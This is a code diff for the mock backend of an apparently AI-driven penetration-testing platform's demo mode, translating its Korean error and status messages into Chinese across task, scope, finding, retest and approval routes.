if (categoryID !== undefined && !category) throw new Error("找不到任务分类");
const items = taskIDs.map((id) => {
const task = mockTasks.find((item) => item.id === id);
if (!task) return { id, ok: false, error: "task not found" };
@@ -1312,10 +1312,10 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
}
if (seg[0] === "tasks" && seg[2] === "category" && seg.length === 3 && m === "PATCH") {
const task = mockTasks.find((item) => item.id === seg[1]);
if (!task) throw new Error("작업을 찾을 수 없습니다");
if (!task) throw new Error("找不到任务");
const categoryID = typeof b.category_id === "number" ? b.category_id : undefined;
const category = categoryID === undefined ? undefined : mockTaskCategories.find((item) => item.id === categoryID);
if (categoryID !== undefined && !category) throw new Error("작업 분류를 찾을 수 없습니다");
if (categoryID !== undefined && !category) throw new Error("找不到任务分类");
task.category_id = category?.id;
task.category_name = category?.name;
return task;
@@ -1326,11 +1326,11 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
const name = normalizedTemplateName(b.name);
const description = String(b.description ?? "").trim();
const goal = String(b.goal ?? "").trim();
if (!name || !description || !goal) throw new Error("템플릿 이름, 설명, 목표를 입력하세요");
if (!name || !description || !goal) throw new Error("请填写模板名称、描述、目标");
if (
mockTaskTemplates.some((template) => normalizedTemplateName(template.name).toLowerCase() === name.toLowerCase())
) {
throw new Error("이미 존재하는 템플릿 이름입니다");
throw new Error("该模板名称已存在");
}
const nextID = mockTaskTemplates.reduce((max, template) => Math.max(max, template.id), 0) + 1;
const created: TaskTemplate = {
@@ -1350,13 +1350,13 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
const name = typeof b.name === "string" ? normalizedTemplateName(b.name) : template.name;
const description = typeof b.description === "string" ? b.description.trim() : template.description;
const goal = typeof b.goal === "string" ? b.goal.trim() : template.goal;
if (!name || !description || !goal) throw new Error("템플릿 이름, 설명, 목표를 입력하세요");
if (!name || !description || !goal) throw new Error("请填写模板名称、描述、目标");
if (
mockTaskTemplates.some(
(item) => item.id !== template.id && normalizedTemplateName(item.name).toLowerCase() === name.toLowerCase(),
)
) {
throw new Error("이미 존재하는 템플릿 이름입니다");
throw new Error("该模板名称已存在");
}
template.name = name;
template.description = description;
@@ -1373,12 +1373,12 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
}
if (seg[0] === "tasks" && seg.length === 2 && m === "GET") {
const task = mockTasks.find((item) => item.id === seg[1]);
if (!task) throw new Error("작업을 찾을 수 없습니다");
if (!task) throw new Error("找不到任务");
return publicMockTask(task);
}
if (seg[0] === "tasks" && seg.length === 2 && m === "PATCH") {
const task = mockTasks.find((item) => item.id === seg[1]);
if (!task) throw new Error("작업을 찾을 수 없습니다");
if (!task) throw new Error("找不到任务");
if (typeof b.name === "string") task.name = b.name.trim();
if (typeof b.pinned === "boolean") {
task.pinned = b.pinned;
@@ -1460,7 +1460,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
}
if (seg[0] === "tasks" && seg[2] === "llm" && seg[3] === "resolution" && m === "GET") {
const task = mockTasks.find((item) => item.id === seg[1]);
if (!task) throw new Error("작업을 찾을 수 없습니다");
if (!task) throw new Error("找不到任务");
return {
mainagent: mockRoleResolution(task, "mainagent"),
planner: mockRoleResolution(task, "planner"),
@@ -1481,7 +1481,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
intent.inherited ||
(intent.state !== "running" && intent.state !== "paused" && intent.state !== "open")
) {
throw new Error("Worker 상태가 변경되었습니다");
throw new Error("Worker 状态已变更");
}
const numId = Number(id.replace(/\D/g, "")) || 0;
if (b.mode === "hard") {
@@ -1505,13 +1505,13 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
}
const action = b.action === "resume" ? "resume" : "pause";
const result = controlMockIntent(id, action);
if (!result.ok) throw new Error(result.error ?? "Worker 상태가 변경되었습니다");
if (!result.ok) throw new Error(result.error ?? "Worker 状态已变更");
return { id: Number(id.replace(/\D/g, "")) || 0, state: result.state };
}
if (seg[0] === "tasks" && seg[2] === "intents" && seg[4] === "messages" && m === "POST") {
const id = seg[3];
const result = sendMockWorkerMessage(id, String(b.message ?? ""), String(b.request_id ?? ""));
if (!result.ok) throw new Error(result.error ?? "Worker 상태가 변경되었습니다");
if (!result.ok) throw new Error(result.error ?? "Worker 状态已变更");
return {
id: Number(id.replace(/\D/g, "")) || 0,
state: result.state ?? "running",
@@ -1522,7 +1522,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
if (seg[0] === "tasks" && seg.length === 3 && seg[2] === "control" && m === "POST") {
const action = b.action === "resume" ? "resume" : "pause";
const result = controlMockTask(seg[1], action);
if (!result.ok) throw new Error(result.error ?? "작업 상태가 변경되었습니다");
if (!result.ok) throw new Error(result.error ?? "任务状态已变更");
const task = mockTasks.find((item) => item.id === seg[1]);
return { id: seg[1], paused: Boolean(task?.paused), queued: Boolean(task?.queued), status: task?.status ?? "" };
}
@@ -1672,15 +1672,15 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
if (seg[0] === "tasks" && seg[2] === "assets" && seg.length === 3 && m === "POST") {
const task = mockTasks.find((item) => item.id === seg[1]);
const numericTaskID = mockTaskAssetID(seg[1]);
if (!task || numericTaskID === undefined) throw new Error("작업을 찾을 수 없습니다");
if (!task || numericTaskID === undefined) throw new Error("找不到任务");
if (Array.isArray(b.scope)) {
if (b.scope.length === 0) throw new Error("유효한 테스트 범위를 입력하세요");
if (b.scope.length === 0) throw new Error("请输入有效的测试范围");
const rules: CompanyScopeRule[] = b.scope.map((candidate, index) => {
if (typeof candidate === "string") {
const issue = classifyCompanyScopeLine(candidate, index + 1);
if (!issue.rule || issue.error)
throw new Error(
`${index + 1}번째 범위가 유효하지 않습니다: ${companyScopeErrorText(issue.error) || "인식할 수 없습니다"}`,
`第 ${index + 1} 个范围无效:${companyScopeErrorText(issue.error) || "无法识别"}`,
);
return issue.rule;
}
@@ -1693,7 +1693,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
const error = rule ? companyScopeRuleError(rule) : "";
if (!rule || error)
throw new Error(
`${index + 1}번째 범위가 유효하지 않습니다: ${companyScopeErrorText(error) || "인식할 수 없습니다"}`,
`第 ${index + 1} 个范围无效:${companyScopeErrorText(error) || "无法识别"}`,
);
return rule;
});
@@ -1715,7 +1715,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
task_id: numericTaskID,
kind: rule.kind === "domain" ? "root_domain" : rule.kind,
source: "manual",
reason: "사용자가 테스트 자산 페이지에서 직접 추가",
reason: "用户在测试资产页面手动添加",
};
if (rule.kind === "domain") scope.domain = normalized;
else if (rule.kind === "ip") scope.net = `${normalized}/${normalized.includes(":") ? 128 : 32}`;
@@ -1755,7 +1755,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
}
setMockTaskAssetSource(seg[1], asset.id, {
task_source: "manual",
task_source_summary: "사용자가 테스트 자산 페이지에서 직접 추가",
task_source_summary: "用户在测试资产页面手动添加",
task_source_node_id: undefined,
});
}
@@ -1765,9 +1765,9 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
const ids = [...new Set(Array.isArray(b.asset_ids) ? b.asset_ids.map(Number) : [])];
const sourceSummary = String(b.source_summary ?? "").trim();
if (ids.length === 0 || ids.length > 100 || !sourceSummary)
throw new Error("자산을 선택하고 출처 설명을 입력하세요");
throw new Error("请选择资产并填写来源说明");
const requestedAssets = ids.map((id) => mockAssets.find((asset) => asset.id === id));
if (requestedAssets.some((asset) => !asset)) throw new Error("자산을 찾을 수 없습니다");
if (requestedAssets.some((asset) => !asset)) throw new Error("找不到资产");
const mutation: TaskAssetMutation = { requested: ids.length, attached: 0, existing: 0 };
for (const asset of requestedAssets) {
if (!asset) continue;
@@ -1787,8 +1787,8 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
if (seg[0] === "tasks" && seg[2] === "assets" && seg.length === 4 && m === "DELETE") {
const numericTaskID = mockTaskAssetID(seg[1]);
const asset = mockAssets.find((item) => item.id === Number(seg[3]));
if (numericTaskID === undefined || !asset) throw new Error("작업 또는 자산을 찾을 수 없습니다");
if (!asset.task_ids.includes(numericTaskID)) throw new Error("자산이 현재 작업에 연결되어 있지 않습니다");
if (numericTaskID === undefined || !asset) throw new Error("找不到任务或资产");
if (!asset.task_ids.includes(numericTaskID)) throw new Error("资产未关联到当前任务");
asset.task_ids = asset.task_ids.filter((id) => id !== numericTaskID);
deleteMockTaskAssetSources(seg[1], asset.id);
return { detached: asset.id };
@@ -1797,11 +1797,11 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
let mappings: Array<{ intentID: string; assetID: number; summary: string }> = [];
if (seg[1] === "t-acme-web") {
mappings = [
{ intentID: "i3", assetID: 6, summary: "백오피스 기능 열거 의도를 선행 서브도메인 발견에서 선정" },
{ intentID: "i5", assetID: 3, summary: "주문 인터페이스 테스트 의도를 API 작업 목표에서 선정" },
{ intentID: "i3", assetID: 6, summary: "从先前子域名发现中选定后台功能枚举意图" },
{ intentID: "i5", assetID: 3, summary: "从 API 任务目标中选定订单接口测试意图" },
];
} else if (seg[1] === "t-acme-api") {
mappings = [{ intentID: "i5", assetID: 3, summary: "주문 인터페이스 테스트 의도를 API 작업 목표에서 선정" }];
mappings = [{ intentID: "i5", assetID: 3, summary: "从 API 任务目标中选定订单接口测试意图" }];
}
const sourceTaskID = mockTaskAssetID(seg[1]) ?? 0;
const assets: IntentAsset[] = mappings.flatMap((mapping) => {
@@ -1829,9 +1829,9 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
if (path === "/companies" && m === "GET") return structuredClone(mockCompanies);
if (path === "/companies" && m === "POST") {
const name = String(b.name ?? "").trim();
if (!name) throw new Error("기업 이름은 비워 둘 수 없습니다");
if (!name) throw new Error("企业名称不能为空");
if (mockCompanies.some((company) => company.name.toLowerCase() === name.toLowerCase())) {
throw new Error("이미 존재하는 기업 이름입니다");
throw new Error("该企业名称已存在");
}
const id = mockCompanies.reduce((max, company) => Math.max(max, company.id), 0) + 1;
const scopeResult = mockScopeRows(id, b.scope);
@@ -1847,18 +1847,18 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
}
if (seg[0] === "companies" && seg[2] === "scope" && m === "POST") {
const company = mockCompanies.find((item) => item.id === Number(seg[1]));
if (!company) throw new Error("기업을 찾을 수 없습니다");
if (!company) throw new Error("找不到企业");
const reset = b.reset === true;
const scopeResult = mockScopeRows(company.id, b.scope, reset ? [] : (company.scope ?? []));
if (reset && scopeResult.invalid > 0)
throw new Error("기업 범위에 유효하지 않은 규칙이 있어 기존 범위를 덮어쓰지 않았습니다");
throw new Error("企业范围存在无效规则,未覆盖原范围");
company.scope = reset ? scopeResult.rows : [...(company.scope ?? []), ...scopeResult.rows];
return { added: scopeResult.rows.length, skipped: scopeResult.skipped, invalid: scopeResult.invalid };
}
if (seg[0] === "companies" && seg.length === 2 && m === "DELETE") {
const id = Number(seg[1]);
const index = mockCompanies.findIndex((item) => item.id === id);
if (index < 0) throw new Error("기업을 찾을 수 없습니다");
if (index < 0) throw new Error("找不到企业");
mockCompanies.splice(index, 1);
let assetsDeleted = 0;
for (let assetIndex = mockAssets.length - 1; assetIndex >= 0; assetIndex--) {
@@ -1963,7 +1963,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
}
if (seg[0] === "exploration" && seg[1] === "findings" && seg[3] === "retests") {
const finding = mockFindings.find((item) => item.id === seg[2]);
if (!finding) throw new Error("취약점이 존재하지 않습니다");
if (!finding) throw new Error("漏洞不存在");
const findingID = D.findings.findIndex((item) => item.id === finding.id) + 1;
if (m === "GET") return { retests: structuredClone(mockRetests.filter((item) => item.finding_id === findingID)) };
if (m === "POST") {
@@ -1976,7 +1976,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
mockConversations.unshift({
id: conversationID,
agent_key: "retester",
title: `재검증 #${finding.id} · ${finding.name || finding.vulnclass}`,
title: `复测 #${finding.id} · ${finding.name || finding.vulnclass}`,
pinned: false,
created_at: now,
updated_at: now,
@@ -2002,7 +2002,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
worker: "retester",
ts: now,
kind: "user",
summary: `취약점 재검증 #${finding.id}`,
summary: `漏洞复测 #${finding.id}`,
detail: retest.notes,
},
{
@@ -2010,8 +2010,8 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
worker: "retester",
ts: now,
kind: "text",
summary: "데모 재검증 진행 중(대상에 요청을 보내지 않음)",
detail: "데모 재검증 진행 중(대상에 요청을 보내지 않음)",
summary: "演示复测进行中(不向目标发送请求)",
detail: "演示复测进行中(不向目标发送请求)",
},
];
return { retest: structuredClone(retest), created: true };
@@ -2037,7 +2037,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
// seg = ["exploration","findings",<id>,"traffic", ...]
if (seg[0] === "exploration" && seg[1] === "findings" && seg[3] === "traffic") {
const findingID = seg[2];
if (!mockFindings.some((item) => item.id === findingID)) throw new Error("취약점을 찾을 수 없습니다");
if (!mockFindings.some((item) => item.id === findingID)) throw new Error("找不到漏洞");
const bindings = mockTrafficBindings(findingID);
const bumpVersion = () => {
mockFindingTrafficVersion[findingID] = (mockFindingTrafficVersion[findingID] ?? 1) + 1;
@@ -2046,7 +2046,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
// 单条报文详情:GET /traffic/{binding_id}
if (seg.length === 5 && seg[4] !== "order" && m === "GET") {
const binding = bindings.find((item) => item.id === seg[4]);
if (!binding) throw new Error("증거를 찾을 수 없습니다");
if (!binding) throw new Error("找不到证据");
const body = mockEvidenceBodies[binding.snapshot.source_traffic_id] ?? { req: "", resp: "" };
return {
binding: structuredClone(binding),
@@ -2057,7 +2057,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
// 报文正文分页:GET /traffic/{binding_id}/body —— demo 正文不截断,直接返回空续页。
if (seg.length === 6 && seg[5] === "body" && m === "GET") {
const binding = bindings.find((item) => item.id === seg[4]);
if (!binding) throw new Error("증거를 찾을 수 없습니다");
if (!binding) throw new Error("找不到证据");
const body = mockEvidenceBodies[binding.snapshot.source_traffic_id] ?? { req: "", resp: "" };
const side = q.get("side") === "request" ? body.req : body.resp;
return mockEvidencePreview(side);
@@ -2091,7 +2091,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
// 编辑说明 / 解绑:PATCH|DELETE /traffic/{binding_id}
if (seg.length === 5 && (m === "PATCH" || m === "DELETE")) {
const index = bindings.findIndex((item) => item.id === seg[4]);
if (index < 0) throw new Error("증거를 찾을 수 없습니다");
if (index < 0) throw new Error("找不到证据");
if (m === "DELETE") {
bindings.splice(index, 1);
} else {
@@ -2254,7 +2254,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
if (path === "/settings/web-search/test") return { ok: true, count: 5, backend: D.settings.web_search_backend };
if (path === "/settings/python/detect") return { python_interpreter: "/usr/bin/python3" };
if (path === "/chat")
return { reply: "(demo) 해당 제안을 고우선순위 의도로 주입했습니다. work agent 가 곧 실행합니다.", mode: "hint" };
return { reply: "(demo) 已将该建议作为高优先级意图注入,work agent 即将执行。", mode: "hint" };
if (path === "/gc") return { removed: 0 };
// ── 工具执行历史 ──
@@ -2332,7 +2332,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
}
if (path === "/conversations" && m === "POST") {
const now = new Date().toISOString();
const title = String(b.title ?? "").trim() || "새 대화";
const title = String(b.title ?? "").trim() || "新对话";
const conversation: Conversation = {
id: mockConversations.reduce((max, item) => Math.max(max, item.id), 0) + 1,
agent_key: String(b.agent_key ?? "mainagent"),
@@ -2400,7 +2400,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
// ── tools ──
if (path === "/tools" && m === "GET") return { tools: D.tools };
if (path === "/tools/custom" && m === "POST") return { key: String(b.key ?? "custom-tool") };
if (path === "/tools/custom/test") return { output: "(demo) 도구 실행 출력 예시입니다.", is_error: false };
if (path === "/tools/custom/test") return { output: "(demo) 这是工具执行输出示例。", is_error: false };
// ── mcp ──
if (path === "/mcp" && m === "GET") return { servers: D.mcpServers };
@@ -2423,7 +2423,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
if (path === "/skills" && m === "POST") return { name: String(b.name ?? "new-skill") };
if (seg[0] === "skills" && seg[2] === "files" && seg.length === 3) return { files: ["SKILL.md"] };
if (seg[0] === "skills" && seg[2] === "files" && seg.length >= 4)
return { content: "# SKILL.md\n\n(demo) 이 skill 의 설명 파일 예시입니다.", file: seg.slice(3).join("/") };
return { content: "# SKILL.md\n\n(demo) 这是该 skill 的说明文件示例。", file: seg.slice(3).join("/") };
// ── visibility ──
if (seg[0] === "visibility" && m === "GET") return { agents: [] };
@@ -2438,22 +2438,22 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
const id = Number(seg[2]);
const row = mockInterceptHistory.find((r) => r.id === id) ?? mockInterceptPending.find((r) => r.id === id);
if (row?.status !== "pending")
throw new Error("이미 처리되었거나 존재하지 않는 승인입니다. 기록을 새로 고쳐 주세요");
if (b.decision !== "allowed" && b.decision !== "denied") throw new Error("잘못된 승인 동작입니다");
throw new Error("该审批已处理或不存在,请刷新记录");
if (b.decision !== "allowed" && b.decision !== "denied") throw new Error("无效的审批操作");
row.status = b.decision;
row.decided_at = new Date().toISOString();
const detail = mockInterceptDetails[id];
if (detail) {
detail.effective_action = b.decision === "allowed" ? "allow" : "deny";
detail.decision_reason = b.decision === "allowed" ? "사람이 실행을 허용했습니다" : "사람이 실행을 거부했습니다";
detail.decision_reason = b.decision === "allowed" ? "人工允许执行" : "人工拒绝执行";
detail.execution_status = b.decision === "allowed" ? "unknown" : "not_executed";
detail.output = b.decision === "allowed" ? "데모 모드에서는 도구를 실행하지 않습니다." : "";
detail.output = b.decision === "allowed" ? "演示模式下不执行工具。" : "";
}
return { ok: true };
}
if (seg[0] === "intercept" && seg[1] === "history" && seg.length === 3) {
const row = mockInterceptHistory.find((r) => r.id === Number(seg[2]));
if (!row) throw new Error("승인 기록을 찾을 수 없습니다");
if (!row) throw new Error("找不到审批记录");
return { ...row, audit: mockInterceptDetails[row.id] ?? null };
}
if (seg[0] === "intercept" && seg[1] === "pending" && seg.length === 3 && m === "GET")
@@ -2462,9 +2462,9 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
const status = q.get("status") || "";
const decisionSource = q.get("decision_source") || "";
if (status && !["pending", "allowed", "denied", "timeout"].includes(status))
throw new Error("유효하지 않은 승인 상태입니다");
throw new Error("无效的审批状态");
if (decisionSource && !["model", "rule", "unknown"].includes(decisionSource))
throw new Error("유효하지 않은 판정 출처입니다");
throw new Error("无效的判定来源");
const filtered = mockInterceptHistory.filter((row) => {
const source =
row.decision_source || (row.rule_id ? "rule" : row.reason?.startsWith("[模型]") ? "model" : "unknown");
@@ -2503,7 +2503,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re
// 必须显式命中:路径以 s 结尾会被下面的读兜底判成集合返回 [],items 就成了 undefined。
if (seg.at(-1) === "side-questions") {
if (m === "GET") return { items: [], current: null, next_cursor: 0, snapshot: null };
if (m === "POST") throw new Error("데모 모드에서는 사이드 질문을 지원하지 않습니다");
if (m === "POST") throw new Error("演示模式不支持旁路提问");
}
// ── 写操作兜底:成功但不落库 ──